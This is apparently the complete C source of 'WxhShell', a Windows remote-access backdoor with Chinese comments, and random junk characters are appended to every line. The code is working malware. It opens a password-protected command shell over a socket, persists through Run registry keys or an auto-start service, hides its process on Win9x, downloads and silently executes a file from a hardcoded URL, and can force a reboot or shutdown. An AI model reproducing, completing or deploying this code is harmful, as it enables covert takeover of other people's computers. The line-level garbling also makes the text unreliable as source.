    else { E.zYi7YUKK  
    closesocket(wsh); 9XJ9~I?  
    ExitThread(0); .P |+oYT&g  
    } 7$Z)fkx.  
    break; T2/v}  
    } IL8'{<lM  
  // 获取shell i"2J5LLv  
  case 's': { @M1yBN  
    CmdShell(wsh); t ?Njw7  
    closesocket(wsh); *Dd(+NI  
    ExitThread(0); eE#81]'6a  
    break; ^6N3 nkyZ  
  } x0AqhT5}  
  // 退出 kp#c:ym  
  case 'x': { j:de}!wc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ';fU.uy  
    CloseIt(wsh); ^=-*L 3f  
    break; (|ct`KU0#  
    } 5sA>O2Rt>  
  // 离开 Z7KB?1{G  
  case 'q': { y$r?t0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7Dx .;  
    closesocket(wsh); W~+!"^<n  
    WSACleanup(); qI4R`P"  
    exit(1); {8>_,z^P)  
    break; |+$j( YuH  
        } 2\iD;Z#gM  
  } /FNj|7s  
  } +^]PBMM1w  
#IL~0t  
  // 提示信息 -V<=`e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =vqE=:X6  
} &s6(3k  
  } k{u%p<  
]( U%1  
  return; A]~iuUHm  
} 8en#PH }  
6wvhvMkS  
// shell模块句柄 ,uqbS  
int CmdShell(SOCKET sock) +=29y@c  
{ ytBxe]  
STARTUPINFO si; yrK--C8  
ZeroMemory(&si,sizeof(si)); t KqCy\-q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ig?.*j ]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |Z^c #R  
PROCESS_INFORMATION ProcessInfo; )lngef /D_  
char cmdline[]="cmd"; WSpg(\Cs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (>Q9jNW  
  return 0; &|&YRHv  
} q%=7<( w  
"`1of8$X7  
// 自身启动模式 W) Kpnb7  
int StartFromService(void) 83 ^,'Z  
{ "=Fn.r4I  
typedef struct U~zN*2-  
{ [0,q7d?"  
  DWORD ExitStatus; ;6 &=]I  
  DWORD PebBaseAddress; Y$`hudJ&  
  DWORD AffinityMask; dO4U9{+  
  DWORD BasePriority; ,*}g r  
  ULONG UniqueProcessId; w$_'xX(  
  ULONG InheritedFromUniqueProcessId; X-2S*L'  
}   PROCESS_BASIC_INFORMATION; /xm} ?t0U  
ZZ.0'   
PROCNTQSIP NtQueryInformationProcess; krnk%ug  
dW=D]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +EB,7<5<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1-Wnc'(OK  
`))J8j"  
  HANDLE             hProcess; $P}]|/Yb  
  PROCESS_BASIC_INFORMATION pbi; F*jj cUk  
'>WuukC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a518N*]j  
  if(NULL == hInst ) return 0; uL2 {v  
Vwh&^{Eh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z_4H2HseL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uRq#pYn@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Er+3S@sfq,  
DSG +TA"  
  if (!NtQueryInformationProcess) return 0; 4;~lpty  
2.L6]^N p(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dgqJ=+z 0y  
  if(!hProcess) return 0; /dvnQW4}8  
&+r ;>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `GN5QLg#}0  
AYQh=$)(  
  CloseHandle(hProcess); ]B.,7  
; dHOH\,:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wbF1>{/"  
if(hProcess==NULL) return 0; DBh/V#* D  
Cq;K,B9  
HMODULE hMod; j]F3[gpc  
char procName[255]; mM^8YL  
unsigned long cbNeeded; PNxO \Rc  
%<*pM@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A5H8+gATK  
VS@W.0/  
  CloseHandle(hProcess); c68$pgG  
RknSWuFKt  
if(strstr(procName,"services")) return 1; // 以服务启动 Gqz)='  
J<:D~@qq  
  return 0; // 注册表启动 :bF2b..XOu  
} %|6Q7'@p  
yD id` ym  
// 主模块 ghd[G}  
int StartWxhshell(LPSTR lpCmdLine) ]X;*\-  
{ n_ NG~ /x  
  SOCKET wsl; 2i'-lM=  
BOOL val=TRUE; ,?N_67  
  int port=0; +q?0A^C>  
  struct sockaddr_in door; |q b92|?  
?|rw=%  
  if(wscfg.ws_autoins) Install(); 2X |jq4  
JRs[%w`kD  
port=atoi(lpCmdLine); uC ;PP=z  
q@yabuN@,j  
if(port<=0) port=wscfg.ws_port; _I"<?sh 3  
szs3x-g  
  WSADATA data; 00x^zu?N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EC\:uK  
b6M)qt9R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   iYs?B0*JWK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qBrZg  
  door.sin_family = AF_INET; y(BLin!O.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wbKBwI5w  
  door.sin_port = htons(port); i]WlMC6  
jsht2]iq3K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (j Q6~1  
closesocket(wsl); o:\j/+]  
return 1; `D4'`Or-U  
} &=O1Qg=K  
Olh-(u:9+O  
  if(listen(wsl,2) == INVALID_SOCKET) { $ aBSr1  
closesocket(wsl); m8A1^ R  
return 1; ^moIMFl  
} `r$WInsDu  
  Wxhshell(wsl); vy y\^nL  
  WSACleanup(); N>\?Aeh  
P&,cCR>  
return 0; V!tBipX%  
zg Ti Az  
} qnV9TeU)  
>5W"a?(  
// 以NT服务方式启动 L 'Rapu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1caod0gor  
{ [m&ZAq  
DWORD   status = 0; q9]L!V 9Rv  
  DWORD   specificError = 0xfffffff; 7u0R=q  
.Sw'Bo!Ee  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =xP{f<`   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .Q@'Ob`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V2skr_1  
  serviceStatus.dwWin32ExitCode     = 0; |H@p^.;  
  serviceStatus.dwServiceSpecificExitCode = 0; glIIJ5d|,  
  serviceStatus.dwCheckPoint       = 0; IcA~f@  
  serviceStatus.dwWaitHint       = 0; eZ$1|Sj]j  
%*}f<k{6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?LM'5  
  if (hServiceStatusHandle==0) return; ]`9K|v  
=%G[vm/-)  
status = GetLastError(); Vtk|WV?>P+  
  if (status!=NO_ERROR) ?"u-@E[m  
{ )C6 7qY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9F!&y-  
    serviceStatus.dwCheckPoint       = 0; ~[6|VpGc:  
    serviceStatus.dwWaitHint       = 0; !qv;F?2 <g  
    serviceStatus.dwWin32ExitCode     = status; yt,;^o^  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8iA(:Tb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EOC"a}Cq-  
    return; fdW={}~  
  } bd}SB-D  
?QVI'R:Z?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,Yz+?SmSZ&  
  serviceStatus.dwCheckPoint       = 0; =1Jo-!{{  
  serviceStatus.dwWaitHint       = 0; VHNiTp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }Cf[nGh|B  
} x*V<afLY[  
! .}{ f;Ls  
// 处理NT服务事件,比如:启动、停止 G"w Q(6J@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O,#[m:Ejb  
{ !%9I%Ak^  
switch(fdwControl) DJUtuex  
{ \(L^ /]}G)  
case SERVICE_CONTROL_STOP: LXl! !i%  
  serviceStatus.dwWin32ExitCode = 0; PCjY,O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n3,wwymQ  
  serviceStatus.dwCheckPoint   = 0; gu&oCT  
  serviceStatus.dwWaitHint     = 0; ij5YV3  
  { net9K X4\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); px@\b]/  
  } H:6$) #  
  return; 0k [6  
case SERVICE_CONTROL_PAUSE: nsk 6a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R0'EoX  
  break; G> >_G<x  
case SERVICE_CONTROL_CONTINUE: !CKUkoX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h65j,v6B  
  break; rg.if"o  
case SERVICE_CONTROL_INTERROGATE:  CVp<SS(  
  break; HbVLL`06*  
}; X.<R['U&\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "-%H</  
} v^'~-^s  
iSHl_/I<  
// 标准应用程序主函数 nrBitu,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <X*8Xzmv  
{ 37Y]sJrs$  
|e >-v  
// 获取操作系统版本 pM3BBF%  
OsIsNt=GetOsVer(); 2oLa`33c1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |&7,g  
oJ:J'$W(  
  // 从命令行安装 = ;d<Ikj  
  if(strpbrk(lpCmdLine,"iI")) Install(); L4b4X  
H=C;g)R  
  // 下载执行文件 P+h&tXZn8  
if(wscfg.ws_downexe) { 67?5Cv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G]CY3xw98  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;\N*iN#K  
} !4:,,!T  
oDa{HP\O]W  
if(!OsIsNt) { TZg7BLfy  
// 如果时win9x,隐藏进程并且设置为注册表启动 _!7o   
HideProc(); |sz9l/,lG  
StartWxhshell(lpCmdLine); (i8 t^  
}  %3j5Q   
else bE~lc}%  
  if(StartFromService()) k7*q.20  
  // 以服务方式启动 $'q(Z@  
  StartServiceCtrlDispatcher(DispatchTable); nCU4a1rZ  
else L_,U*Jyo  
  // 普通方式启动 jLSZ#H  
  StartWxhshell(lpCmdLine); 0J~4  
~@JC1+  
return 0; <h({+N  
} L%FL{G  
hr5)$qZW  
43XuQg4  
Pp2 )P7  
=========================================== zu#o<6E{  
|k+^D:  
I?QKd@  
K@m^QioMj  
-bwl~3ZTi  
OjZ@_V:  
" PW}.`  
Cp%|Q.?  
#include <stdio.h> 0*)79Sz  
#include <string.h> 9[`6f8S_$  
#include <windows.h> :9}*p@  
#include <winsock2.h> |w DCIHzQ  
#include <winsvc.h> n[@Ur2&)  
#include <urlmon.h> 9!LAAE`  
jJ|;Nwm<[  
#pragma comment (lib, "Ws2_32.lib") ^;a[v^&9  
#pragma comment (lib, "urlmon.lib") y.zQ `  
f@0`,  
#define MAX_USER   100 // 最大客户端连接数 c,@6MeKHq  
#define BUF_SOCK   200 // sock buffer Qxwe,:  
#define KEY_BUFF   255 // 输入 buffer a;K:~R+@,  
isjkfl-!  
#define REBOOT     0   // 重启 o&]qjFo\m  
#define SHUTDOWN   1   // 关机 k;sUDmrO  
@UKd0kxPN{  
#define DEF_PORT   5000 // 监听端口 C1=[\c~jw  
(k?OYz]c  
#define REG_LEN     16   // 注册表键长度 PsLCO(26  
#define SVC_LEN     80   // NT服务名长度 !ZRV\31%  
U:Y?2$#  
// 从dll定义API h>wU';5#f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bm;4NA?Gg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]9' \<uR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rhrlEf@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]Uu/1TTf  
|fUSq1//  
// wxhshell配置信息 DcOLK\  
struct WSCFG { hXCDlCO  
  int ws_port;         // 监听端口 D)Zv  
  char ws_passstr[REG_LEN]; // 口令 DCj!m<Y&  
  int ws_autoins;       // 安装标记, 1=yes 0=no !>Xx</iD1  
  char ws_regname[REG_LEN]; // 注册表键名 L|<Mtw  
  char ws_svcname[REG_LEN]; // 服务名 {'1,JwSmb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <6@Db$-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $Ix^Rm9c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8PQt8G.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jAu/] HZx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y.zW>Mfl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 { }z7N~  
r* U6govky  
}; PJ'l:IU  
B4kIcHA  
// default Wxhshell configuration O'k"6sBb  
struct WSCFG wscfg={DEF_PORT, b#sO1MXv  
    "xuhuanlingzhe",  ZM"t.  
    1, s[hD9$VB>  
    "Wxhshell", t?\osPL  
    "Wxhshell", m*1=-" P  
            "WxhShell Service", R&?p^!`%  
    "Wrsky Windows CmdShell Service", i[B%:q:&  
    "Please Input Your Password: ", ' {Q L`L  
  1, ^#nAS2w7U  
  "http://www.wrsky.com/wxhshell.exe", 1peN@Yk2W  
  "Wxhshell.exe" ^dro*a,  
    }; /#tOi[0[  
U-@\V1;C  
// 消息定义模块 fIu/*PFPVY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u7S7lR"lxW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (j(6%U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R7#B_^ $  
char *msg_ws_ext="\n\rExit."; J&Ah52  
char *msg_ws_end="\n\rQuit."; n}"MF>zDK  
char *msg_ws_boot="\n\rReboot..."; +p2)uXqW  
char *msg_ws_poff="\n\rShutdown..."; hQ9VcS6=gD  
char *msg_ws_down="\n\rSave to "; j:0z/gHp$  
` sSI;+  
char *msg_ws_err="\n\rErr!"; k]Yd4CC2  
char *msg_ws_ok="\n\rOK!"; E11"uWk`  
CGQ`i  
char ExeFile[MAX_PATH]; % 74}H8q_z  
int nUser = 0; k3&Wv  
HANDLE handles[MAX_USER]; \n}cx~j  
int OsIsNt; [,VD^\  
|g~.]2az  
SERVICE_STATUS       serviceStatus; nkxVc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zJPzI{-w|  
T a_#Rg*!  
// 函数声明 T!8,R{V]4  
int Install(void); *cf#:5Nl  
int Uninstall(void); SO|$X  
int DownloadFile(char *sURL, SOCKET wsh); p?5zwdX+`  
int Boot(int flag); "_lSw3  
void HideProc(void); O %OeYO69  
int GetOsVer(void); "bJWyUb  
int Wxhshell(SOCKET wsl); ./u3z|q1  
void TalkWithClient(void *cs);  0y?bwxkc  
int CmdShell(SOCKET sock); 9Z} -%Z[,)  
int StartFromService(void); D ,nF0p  
int StartWxhshell(LPSTR lpCmdLine); LVX.stN#p  
&U:;jlST9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $aEL>, X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \]zH M.E1  
u-D%: lz85  
// 数据结构和表定义 Ay[6rUO  
SERVICE_TABLE_ENTRY DispatchTable[] = GujmBb  
{ 'Je;3"@  
{wscfg.ws_svcname, NTServiceMain}, rAgb<D@,H  
{NULL, NULL} 4h-tR  
}; X4gs{kx}|  
+5voAx!  
// 自我安装 h DCR>G  
int Install(void) |Gz(q4  
{ ~OXPn9qPp  
  char svExeFile[MAX_PATH]; MFRM M%`  
  HKEY key; }}<^f M  
  strcpy(svExeFile,ExeFile); s$A|>TOY  
+ps(9O/B>  
// 如果是win9x系统,修改注册表设为自启动 1jDN=hIl  
if(!OsIsNt) { QN":Qk(,q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r+>gIX+Fl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0`:0m/fsU  
  RegCloseKey(key); NbH;@R)L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !IcP O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o!:   
  RegCloseKey(key); EW]rD  
  return 0; #V@[<S2  
    } 4PR!OB  
  } Lc=t,=OhGe  
} m;'ebkq  
else { |Y4c+6@_  
fC&hi6  
// 如果是NT以上系统,安装为系统服务 f<<1.4)oSV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); + JsMYv  
if (schSCManager!=0) bZLY#g7L"  
{ -a !?%  
  SC_HANDLE schService = CreateService y2cYRHN[X}  
  ( !#3v<_]#d  
  schSCManager, @kd`9Yw  
  wscfg.ws_svcname, :>f}rq  
  wscfg.ws_svcdisp, /@ m]@  
  SERVICE_ALL_ACCESS, -V7dSi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /V0[Urc@  
  SERVICE_AUTO_START, n86LU Sj5  
  SERVICE_ERROR_NORMAL, #ozui-u>  
  svExeFile, n&1q*  
  NULL, NYw>Z>TD8c  
  NULL, ~wvu7  
  NULL, 6/6M.p  
  NULL, g%TOYZr!X  
  NULL BlnR{Y  
  ); 1 8%+ Hy=  
  if (schService!=0) GCZx-zD~>  
  { 9eBD)tnw  
  CloseServiceHandle(schService); fN&@y$  
  CloseServiceHandle(schSCManager); ;Nk,bb K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |0OY> 5  
  strcat(svExeFile,wscfg.ws_svcname); |h%=a8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H\RejGR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4 K5  
  RegCloseKey(key); 41g "7Mk  
  return 0; rny(8z%Ck-  
    } s5h}MXIXw  
  } FRa>cf4  
  CloseServiceHandle(schSCManager); 9:R3+,ZN  
} ncrg`<'/,  
} 6%it`A8}  
qA0PGo  
return 1; Fs"i fn0  
} GXG 7P,p,  
9fm9xTL  
// 自我卸载 >v2/0>U  
int Uninstall(void) D%L^[|)c\s  
{ __!LTpp  
  HKEY key; D6-R>"}  
P?p]sLrP  
if(!OsIsNt) { |M`'   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gFqF&t  
  RegDeleteValue(key,wscfg.ws_regname); #N"m[$;QR  
  RegCloseKey(key); t W+"/<U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \HXq~Y  
  RegDeleteValue(key,wscfg.ws_regname); zZ6m`]{B9?  
  RegCloseKey(key); 4_kY^"*#"  
  return 0; rGQ2 ve  
  } OClG dFJ|  
} 'Lq+ONX5  
}  & .0A%  
else { yIhPB8QL  
s]]lB018O\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;4l8Qg 7  
if (schSCManager!=0) ?VlGTMaS+  
{ ~UJ.A<>Fh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G9NI`]k  
  if (schService!=0) f0vO(@I  
  { #9gx4U  
  if(DeleteService(schService)!=0) { KLvAe>#,  
  CloseServiceHandle(schService); )$RV)  
  CloseServiceHandle(schSCManager); )X?oBNsj  
  return 0; FRuPv6  
  } {CV+1kz  
  CloseServiceHandle(schService); U0t|i'Hx  
  } fcxg6W'  
  CloseServiceHandle(schSCManager); P0yDL:X[  
} v^ "qr?3V  
} BBM[Fy37!}  
,`JYFh M  
return 1; sC.b '1P  
} & XmaGtt  
hw,nA2w\  
// 从指定url下载文件 Vm|KL3}NRv  
int DownloadFile(char *sURL, SOCKET wsh) FY^2 Y  
{ E447'aJ  
  HRESULT hr; ?TeozhUY  
char seps[]= "/"; b3EGtC}^  
char *token; 'y\Je7  
char *file; -=nk,cYn  
char myURL[MAX_PATH]; 5CZyA`3V^5  
char myFILE[MAX_PATH]; ~v%6*9  
?V,q&=9  
strcpy(myURL,sURL); uLafO=Q  
  token=strtok(myURL,seps); w%.hALN5-C  
  while(token!=NULL) X8VBs#tLE  
  { /i3 JP}  
    file=token; )O"E#%  
  token=strtok(NULL,seps); Qn7T{ BW  
  } '{cSWa| #  
Rjq Xz6  
GetCurrentDirectory(MAX_PATH,myFILE); ss[`*89  
strcat(myFILE, "\\"); 0W(mx-[H/  
strcat(myFILE, file);  ][wb4$2  
  send(wsh,myFILE,strlen(myFILE),0); ]R_R`X?  
send(wsh,"...",3,0); n9xP8<w8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Iz1x|EQ  
  if(hr==S_OK) [a04( 2g  
return 0; `p&[b]b  
else >*RU:X  
return 1; Hl`OT5 pNf  
LP6 p  
} l3sF/zkH  
`wXK&R<`  
// 系统电源模块 ]:OrGD"  
int Boot(int flag) B~w$j/sWU  
{ ,U3  
  HANDLE hToken; N$6e KJ]  
  TOKEN_PRIVILEGES tkp; Yy88 5  
;.V/ngaj  
  if(OsIsNt) { .JPN';  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IplOXD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *Jgi=,!m  
    tkp.PrivilegeCount = 1; 8 MQq3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^FKiVKI:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S3\NB3@qC&  
if(flag==REBOOT) { eCYPd-d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fp/{L  
  return 0; "iA0hA  
} 3]l)uoNt/  
else { ~ubvdQEW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hI'WfF!X  
  return 0; rW)h ? , b  
} !l9{R8m>eJ  
  } pcy;]U ?  
  else { <{isWEW9]3  
if(flag==REBOOT) { jc&k-d>=G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !&{rnK  
  return 0; {4D`VfX_  
} i)?7+<X  
else { =#2c r:1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k ucbI_  
  return 0; Kcm+%p^  
} 6nZ]y&$G-k  
} 0G+Q^]0  
`gX|q3K\s  
return 1; D5,]E`jwu  
} oZa'cZNs  
J,F1Xmr4  
// win9x进程隐藏模块 p?i.<Z  
void HideProc(void) fOV_ >]u  
{ 4.!1odKp  
} ?j5V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @@AL@.*  
  if ( hKernel != NULL ) w}ji]V}  
  { Zz0bd473k?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FJ_7<4ET  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <y@v v  
    FreeLibrary(hKernel); 1Cw]~jh  
  } }R%H?&P  
qYC&0`:H  
return; 6kYluV+j  
} vqSpF6F q  
F\ B/q  
// 获取操作系统版本 =rA?,74  
int GetOsVer(void) 4!IuTPmr  
{ nGH6D2!F  
  OSVERSIONINFO winfo; h[W`P%xZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AELj"=RA  
  GetVersionEx(&winfo); "+(|]q"W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N d].(_  
  return 1; ubwM*P  
  else ev4[4T-( @  
  return 0; GC')50T J  
} F\m^slsu7=  
=Hg!@5]H  
// 客户端句柄模块 }u_D{bz  
int Wxhshell(SOCKET wsl) C?\(?%B  
{ \O5L#dc#  
  SOCKET wsh; Anz{u$0M[  
  struct sockaddr_in client; qYK^S4L  
  DWORD myID; DpRMXo[  
W_W!v&@E=  
  while(nUser<MAX_USER) NiZfaC6V  
{ ("8Hku?  
  int nSize=sizeof(client); '(.5!7?Qc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t7f(%/] H0  
  if(wsh==INVALID_SOCKET) return 1; > Vm}u`x  
"wgPPop  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M+ +Dk7B  
if(handles[nUser]==0) EtcT:k?y  
  closesocket(wsh); q3x"9i `  
else \u,CixV=  
  nUser++; Db|f"3rq?  
  } 8 0tA5AP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P T;{U<5  
0t7N yKU  
  return 0; ~<[+!&<U  
} =-r"@2HBq  
if*V-$[I  
// 关闭 socket G"/;Cq=t  
void CloseIt(SOCKET wsh) 2P"643tz  
{ LKM018H>  
closesocket(wsh); \ lbH   
nUser--; W Z'<iI  
ExitThread(0); >V"{]v  
} 9<gW~ s>  
//&3{B  
// 客户端请求句柄 c8&3IzZ  
void TalkWithClient(void *cs) ?MH=8Cl1w  
{ `i`P}W!F  
w|f+OlPXq  
  SOCKET wsh=(SOCKET)cs; y!b"Cj  
  char pwd[SVC_LEN]; f)Qln[/  
  char cmd[KEY_BUFF]; \@@G\\)er  
char chr[1]; "yu{b]AU  
int i,j; > "hP  
hk?i0#7W  
  while (nUser < MAX_USER) { HZ9>4G3  
{y"Kn'1  
if(wscfg.ws_passstr) { JLd%rM\m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nE]rPRU}[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YuhfPa  
  //ZeroMemory(pwd,KEY_BUFF); n*\o. :f  
      i=0; Ae2N"%Ej  
  while(i<SVC_LEN) { .q 2r!B  
Bl+\|[yd  
  // 设置超时 JG;}UuHYM  
  fd_set FdRead; uH89oA/H  
  struct timeval TimeOut; QBa+xI_ J  
  FD_ZERO(&FdRead); *$9U/  d  
  FD_SET(wsh,&FdRead); WOO3z5 La  
  TimeOut.tv_sec=8; 5Ew( 0K[  
  TimeOut.tv_usec=0; 6 wN*d 5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T6/P54S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n/v.U,f&l@  
cxR.:LD}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .rBU"Rbo  
  pwd=chr[0]; 0Z2XVq~T$  
  if(chr[0]==0xd || chr[0]==0xa) { ep8UWxB5  
  pwd=0; X5o*8Bg4M  
  break; q7CLxv &QG  
  } pLu5x<  
  i++; aVR!~hvFs  
    } ;MQl.?vj  
T={!/y+  
  // 如果是非法用户,关闭 socket k~ )CJ6}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !60U^\  
} >~,~X9   
X@kgc&`0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1tY+0R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6$OmOCA%  
./I?|ih  
while(1) { u0W6u} 4;  
eBa#Z1Z  
  ZeroMemory(cmd,KEY_BUFF); )xVf3l pQ  
lW"0fZ_x'E  
      // 自动支持客户端 telnet标准   ~C{:G;Iy0  
  j=0; -3ePCAtXbe  
  while(j<KEY_BUFF) { @G;9eh0$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S:{xx`6K  
  cmd[j]=chr[0]; .c>6}:ye  
  if(chr[0]==0xa || chr[0]==0xd) { 5@RcAQb:  
  cmd[j]=0; * K$ U[$s  
  break; *-ys}sX  
  } T @^ S:K  
  j++; GG%;~4#2  
    } azFJ-0n@"  
Gd|kAC g  
  // 下载文件 f@`|2wG  
  if(strstr(cmd,"http://")) { /S J><  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N4 x5!00  
  if(DownloadFile(cmd,wsh)) 8pEA3py  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A,&711Y  
  else [.&JQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r], %:imGr  
  } dA~_[x:Z  
  else { nP[Z6h  
KC"S0 6  
    switch(cmd[0]) { Rk5#5R n  
  -0xo6'mD  
  // 帮助 Zb_A(mnzh  
  case '?': { 1>[#./@  
